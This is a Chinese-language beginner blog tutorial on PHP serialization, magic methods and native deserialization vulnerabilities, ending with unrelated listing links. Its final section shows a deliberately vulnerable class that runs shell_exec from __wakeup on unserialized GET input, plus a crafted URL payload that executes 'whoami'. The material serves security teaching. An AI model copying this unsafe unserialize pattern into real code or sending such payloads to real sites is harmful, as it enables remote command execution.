首页 > 编程语言 >从零开始的PHP原生反序列化漏洞

从零开始的PHP原生反序列化漏洞

时间:2025-01-18 10:43:06浏览次数:1  
标签:PHP 对象 object seren 从零开始 hack 序列化

1、写在前面

OK 兄弟们,这几天一直在面试,发现很多 HR 喜欢问反序列化相关的内容,今天咱们就从最简单的 PHP 原生反序列化入手,带大家入门反序列化

2、PHP 序列化

在 PHP 中,有反序列化,就有序列化,我们先来解释一下序列化。

所谓序列化,就是将 PHP 的一个对象,序列化为一串字符串的过程,其所用的函数就是serialize()

对象:一个对多种信息描述的整体

类:一个储存信息的共享的模板,以class开头

我们先试着创建一个新的类

<?php
class seren //定义一个类
{
//变量
    public $a = 'hello';
    private $b = 'world';
//方法
    public function print_var()
{
        echo $this->a;
    }
}
?>

上面就是一个很简单的类,我们来看一下,首先使用class声明了一个类seren,在这个seren类里,我们有两个变量a和b,还有一个方法print_var

现在我们要去使用这个类,就需要把这个类实例化为一个对象

//创建一个对象
$object = new seren();
//调用一个方法
$object->print_var();

我们可以使用new,将seren类实例化为一个object对象,如果我们想要使用这个类的方法,可以直接使用 $object->print_var(); 的方法来调用这个方法。

接下来,我们试着使用serialize函数,将这个对象给序列化

<?php
class seren //定义一个类
{
//变量
    public $a = 'hello';
    private $b = 'world';
//方法
    public function print_var()
{
        echo $this->a;
    }
}
$object = new seren();
$c = serialize($object);
echo $c;
?>

此处我们使用 serialize 将object这个对象,序列化为c,并打印出c

此处可以看到打印出的字符串

O:5:"seren":2:{s:1:"a";s:5:"hello";s:8:" seren b";s:5:"world";}

接下来我们就把这串字符串逐个解释一下。

首先是前面的 O,代表这是一个Object,也就是一个对象,然后是 O 后面的5,代表这个对象的名称为 5 个长度,再后面的seren就是我们对象的名称,后面的 2 就是我们对象里变量的个数。

然后就是大括号里面的内容,里面都是对我们对象里的变量的描述。

第一个s:1:"a";,表示为string类型,这个变量的名称长度为 1,变量名称为 a

后面的s:5:"hello";,表示为string类型,这个值的长度为 5,值为 hello

其实从这里我们就可以发现出规律,这个字符串对对象的描述都是类型+长度+名称的格式

比较特殊的就是后面的s:8:" seren b";,此处我们可以看到似乎有点不一样,这里的长度变成了 8,并且名称变成了serenb

我们回到上面,看我们创建这个类的时候,b 的类型为private,所以就可以知道,根据规定,private类型的变量在序列化后,名称会变为类名+变量名的格式,但是serenb也只有 6 个长度,但是他提示我们有 8 个长度

其实是因为在seren的前后有两个我们不可见的%00,他真正的内容应该是%00seren%00b,%00 算是一个长度,所以一共是 8 个长度。

3、PHP 反序列化

讲完了序列化,接下来就是反序列化,反序列化的函数是unserialize(),他可以将我们的序列化后的字符串,反序列化为对象

<?php
class seren //定义一个类
{
//变量
    public $a = 'hello';
    private $b = 'world';
//方法
    public function print_var()
{
        echo $this->a;
    }
}
$object = new seren();
$c = serialize($object);
$object2 = unserialize($c);
var_dump($object2);
?>

此处我们使用unserialize函数将字符串 c 反序列化为了对象object2

4、魔术方法

魔术方法是 php 反序列化漏洞利用中很重要的一环,一般以两个下划线开头,如果这个类里面存在魔术方法,他就会优先调用魔术方法

_construct()  //当一个对象创建时被调用
_destruct()   //对象被销毁时触发
_wakeup()     //反序列化前触发
_sleep()      //序列化前触发
_toString()   //把类当作字符串使用时触发
_get()        //用于从不可访问的属性读取数据
_set()        //用于将数据写入不可访问的属性
_isset()      //在不可访问的属性上调用isset()或empty()触发
_unset()      //在不可访问的属性上使用unset时触发
_invoke()     //当脚本尝试将对象调用为函数时触发

我们试着在类里创建一个魔术方法wakeup

<?php
class seren //定义一个类
{
//变量
    public $a = 'hello';
    private $b = 'world';
//方法
    public function print_var()
{
        echo $this->a;
    }

    public function __wakeup()
{
        // TODO: Implement __wakeup() method.
        echo 'Follow SerenSec!';
    }
}
$object = new seren();
$c = serialize($object);
$object2 = unserialize($c);
?>

运行后发现输出了Follow SerenSec!

5、PHP 反序列化漏洞

我们可以试着在反序列化的时候,寻找一些比较危险的魔术方法,从而达成 RCE 的目的,这就是反序列化漏洞

下面是一个很简单的例子

<?php
class seren //定义一个类
{
//变量
    public $a = 'hello';
    private $b = 'world';
    public $hack;
//方法
    public function print_var()
{
        echo $this->a;
    }
    public function __construct($hack) {
        $this->hack = $hack;
    }
    public function __wakeup()
{
        // TODO: Implement __wakeup() method.
        echo shell_exec($this->hack);
    }
}
$object2 = unserialize($_GET['hack']);
?>

此时我们发现有 __wakeup 魔术方法,其中存在 shell_exec 函数,可以执行命令,并且其中的 hack 变量是可控的

我们先构造出序列化后的字符串

O:5:"seren":3:{s:1:"a";s:5:"hello";s:8:"%00seren%00b";s:5:"world";s:4:"hack";s:6:"whoami"}

然后构造 payload

http://localhost/test.php?hack=O:5:%22seren%22:3:{s:1:%22a%22;s:5:%22hello%22;s:8:%22%00seren%00b%22;s:5:%22world%22;s:4:%22hack%22;s:6:%22whoami%22}

成功执行命令

6、结语

PHP 原生反序列化比较简单,后面会有一些拓展内容,像是POP 链Phar 协议,这些是比较绕的地方,各位可以自行探索。

标签:PHP,对象,object,seren,从零开始,hack,序列化
From: https://www.cnblogs.com/cn-sec-/p/18678120

相关文章

  • 基于PHP的高校毕业生就业服务平台
    目录摘要系统操作流程系统架构设计演示视频系统功能实现代码实现 推荐项目项目案例 项目开发总结为什么选择我 源码获取博主介绍:✌全网粉丝30W+,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质......
  • 基于php的小说阅读系统
    目录摘要系统操作流程系统架构设计演示视频系统功能实现代码实现 推荐项目项目案例 项目开发总结为什么选择我 源码获取博主介绍:✌全网粉丝30W+,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质......
  • qt之读写二进制文件(序列化方式)
    除文本文件外,其他文件都可以看做是二进制文件,可以单独使用QFile读写二进制文件,但一般结合使用QFile和QDataStream读写二进制文件。头文件部分主要代码private:QStringm_filename;template<classT>voidwriteByStream(Tvalue);template<classT>voidread......
  • 模板&编辑器(PHP)
    免责声明:本文章仅用于交流学习,因文章内容而产生的任何违法&未授权行为,与文章作者无关!!!附:完整笔记目录~ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正!1.4......
  • 网站目录中的PHP脚本无法写入,导致缓存文件生成失败
    根据您的描述,您遇到了网站目录中的PHP脚本无法写入的问题,这直接影响了缓存文件的生成,进而导致网站运行不正常。具体来说,espcms_datacache/_templates 和 espcms_datacache/dbcache 目录下的PHP文件无法写入,这对网站性能和功能产生了负面影响。要解决这个问题,您可以按照以下步......
  • 为什么服务器上的phpMyAdmin无法访问?应该如何解决?
    phpMyAdmin作为一款流行的MySQL数据库管理工具,在日常运维中扮演着重要角色。当遇到无法访问phpMyAdmin的情况时,通常有以下几个方面的原因及对应的解决方法:Web服务器配置问题:检查Apache/Nginx等Web服务器的配置文件,确保phpMyAdmin目录路径正确无误。如果最近修改过服务器配置......
  • 基于php购物商城在线购物网站电商系统蛋糕网站php+mysql毕业设计课程设计毕设指导计算
    一、功能介绍php在线购物商城电商网站详细技术:HTML+CSS+JS+PHP+MYSQL系统分为用户和管理员两种身份用户功能如下:1.登陆注册2.查看商品详情、蛋糕资讯3.加入购物车、结算订单4.评价5.修改密码6.搜索蛋糕7.退出登录管理员功能如下:1.登录退出2.蛋糕管理(添加、修改和......
  • PHP反序列化
    一、PHP面向对象的基础知识基本概念1、面向过程VS面向对象以做饭为例,面向过程是自己从原材料到成品全部自己做,面向对象相当于去饭店,点菜,等待结果(上菜)。2、类的定义类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起。对象是具有类类型的变量,是......
  • 从零开始的python之旅(day4)
    从零开始的python之旅(day4)  昨天博客园好像崩了,所以昨天晚上没写,就挪到今天来补了,昨天主要是文件操作,话不多说,上代码  addressBookdefmain():file1=open('TeleAddressBook.txt','rb')file2=open('EmailAddressBook.txt','rb')file1.readline()fil......
  • 计算机毕业设计—92767 php 酒店预约管理系统 (源码免费领)
    摘 要随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,酒店预约管理系统当然也不能排除在外。酒店预约管理系统是以实际运用为开发背景,运用软件工程开发方法,采用Thinkphp技术构建的一个管理系统。整个开发过程......